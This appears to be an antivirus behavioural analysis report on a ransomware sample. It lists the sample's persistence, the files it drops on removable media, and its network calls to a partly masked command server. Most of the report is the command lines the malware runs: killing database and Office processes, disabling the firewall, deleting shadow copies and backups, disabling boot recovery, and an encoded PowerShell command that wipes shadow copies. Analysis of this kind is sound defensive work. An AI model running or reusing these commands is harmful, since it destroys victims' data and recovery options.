Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Creates the following files on removable media
- <Drive name for removable media>:\tileimage.bmp
- <Drive name for removable media>:\dashborder_192.bmp
- <Drive name for removable media>:\coffee.bmp
- <Drive name for removable media>:\hanni_umami_chapter.doc
- <Drive name for removable media>:\february_catalogue__2015.doc
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Task Manager (Taskmgr)
blocks the following features:
- System Restore (SR)
- User Account Control (UAC)
deletes volume shadow copies.
Executes the following
- '<SYSTEM32>\netsh.exe' firewall set opmode disable
- '<SYSTEM32>\taskkill.exe' /f /im WBGX.*
- '<SYSTEM32>\taskkill.exe' /f /im QBW32.*
- '<SYSTEM32>\taskkill.exe' /f /im node.*
- '<SYSTEM32>\taskkill.exe' /f /im virtualboxvm.*
- '<SYSTEM32>\taskkill.exe' /f /im onenote.*
- '<SYSTEM32>\taskkill.exe' /f /im excel.*
- '<SYSTEM32>\taskkill.exe' /f /im oracle.*
- '<SYSTEM32>\taskkill.exe' /f /im thunderbird.*
- '<SYSTEM32>\taskkill.exe' /f /im outlook.*
- '<SYSTEM32>\taskkill.exe' /f /im wordpad.*
- '<SYSTEM32>\taskkill.exe' /f /im winword.*
- '<SYSTEM32>\net.exe' stop QBVSS
- '<SYSTEM32>\net.exe' stop QBCFMontorService
- '<SYSTEM32>\taskkill.exe' /f /im Teams.*
- '<SYSTEM32>\net.exe' stop cbVSCService11
- '<SYSTEM32>\net.exe' stop SQLBrowser
- '<SYSTEM32>\net.exe' stop SQLAgent$SQLEXPRESS
- '<SYSTEM32>\net.exe' stop MongoDB
- '<SYSTEM32>\net.exe' stop MSSQLServerADHelper100
- '<SYSTEM32>\net.exe' stop MSSQL$SQLEXPRESS
- '<SYSTEM32>\net.exe' stop SQLWriter
- '<SYSTEM32>\net.exe' stop Apache2.4
- '<SYSTEM32>\net.exe' stop AcronisAgent
- '<SYSTEM32>\net.exe' stop AcrSch2Svc
- '<SYSTEM32>\net.exe' stop OracleServiceXE
- '<SYSTEM32>\net.exe' stop OracleXETNSListener
- '<SYSTEM32>\net.exe' stop DbxSvc
- '<SYSTEM32>\taskkill.exe' /f /im sql.*
- '<SYSTEM32>\net.exe' stop CobianBackup11
- '<SYSTEM32>\taskkill.exe' /f /im Flow.*
Injects code into
the following system processes:
- <SYSTEM32>\vssvc.exe
- <SYSTEM32>\wbengine.exe
- <SYSTEM32>\vds.exe
Modifies file system
Creates the following files
- <DRIVERS>\etc\host
- %WINDIR%\logs\windowsbackup\wbadmin.0.etl
Moves the following files
- from %WINDIR%\logs\windowsbackup\wbadmin.0.etl to %WINDIR%\logs\windowsbackup\wbadmin.1.etl
- from %WINDIR%\logs\windowsbackup\wbadmin.1.etl to %WINDIR%\logs\windowsbackup\wbadmin.2.etl
- from %WINDIR%\logs\windowsbackup\wbadmin.2.etl to %WINDIR%\logs\windowsbackup\wbadmin.3.etl
Substitutes the following files
- %WINDIR%\logs\windowsbackup\wbadmin.0.etl
- %WINDIR%\logs\windowsbackup\wbadmin.1.etl
- %WINDIR%\logs\windowsbackup\wbadmin.2.etl
Network activity
TCP
HTTP GET requests
- http://ba########6aa1e4f76f84fd6ec96bd8.gq/tarih.php
- http://ba########6aa1e4f76f84fd6ec96bd8.gq/wp-admin.php?lo#######################################################################################################################################...
UDP
- DNS ASK ba########6aa1e4f76f84fd6ec96bd8.gq
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /C netsh firewall set opmode disable' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C taskkill /f /im sql.* & taskkill /f /im winword.* & taskkill /f /im wordpad.* & taskkill /f /im outlook.* & taskkill /f /im thunderbird.* & taskkill /f /im oracle.* & taskkill /f /im excel.*...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net stop DbxSvc & net stop OracleXETNSListener & net stop OracleServiceXE & net stop AcrSch2Svc & net stop AcronisAgent & net stop Apache2.4 & net stop SQLWriter & net stop MSSQL$SQLEXPRESS ...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C powershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog ...' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /C netsh firewall set opmode disable
- '<SYSTEM32>\net1.exe' stop MSSQLServerADHelper100
- '<SYSTEM32>\net1.exe' stop MongoDB
- '<SYSTEM32>\net1.exe' stop SQLAgent$SQLEXPRESS
- '<SYSTEM32>\net1.exe' stop SQLBrowser
- '<SYSTEM32>\net1.exe' stop CobianBackup11
- '<SYSTEM32>\net1.exe' stop cbVSCService11
- '<SYSTEM32>\net1.exe' stop QBVSS
- '<SYSTEM32>\wbadmin.exe' delete systemstatebackup -keepversions:0
- '<SYSTEM32>\svchost.exe' -k swprv
- '<SYSTEM32>\bcdedit.exe' /set {default} bootstatuspolicy ignoreallfailures
- '<SYSTEM32>\wbadmin.exe' delete catalog -quiet
- '<SYSTEM32>\wbengine.exe'
- '<SYSTEM32>\vds.exe'
- '<SYSTEM32>\wbadmin.exe' delete systemstatebackup
- '<SYSTEM32>\net1.exe' stop MSSQL$SQLEXPRESS
- '<SYSTEM32>\net1.exe' stop QBCFMontorService
- '<SYSTEM32>\net1.exe' stop SQLWriter
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
- '<SYSTEM32>\cmd.exe' /C vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB
- '<SYSTEM32>\cmd.exe' /C vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded
- '<SYSTEM32>\cmd.exe' /C taskkill /f /im sql.* & taskkill /f /im winword.* & taskkill /f /im wordpad.* & taskkill /f /im outlook.* & taskkill /f /im thunderbird.* & taskkill /f /im oracle.* & taskkill /f /im excel.*...
- '<SYSTEM32>\cmd.exe' /C net stop DbxSvc & net stop OracleXETNSListener & net stop OracleServiceXE & net stop AcrSch2Svc & net stop AcronisAgent & net stop Apache2.4 & net stop SQLWriter & net stop MSSQL$SQLEXPRESS ...
- '<SYSTEM32>\cmd.exe' /C powershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
- '<SYSTEM32>\cmd.exe' /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog ...
- '<SYSTEM32>\net1.exe' stop DbxSvc
- '<SYSTEM32>\vssvc.exe'
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=C: /on=C: /maxsize=unbounded
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=C: /on=C: /maxsize=401MB
- '<SYSTEM32>\net1.exe' stop OracleXETNSListener
- '<SYSTEM32>\net1.exe' stop OracleServiceXE
- '<SYSTEM32>\net1.exe' stop AcrSch2Svc
- '<SYSTEM32>\net1.exe' stop AcronisAgent
- '<SYSTEM32>\net1.exe' stop Apache2.4
- '<SYSTEM32>\wbadmin.exe' delete backup
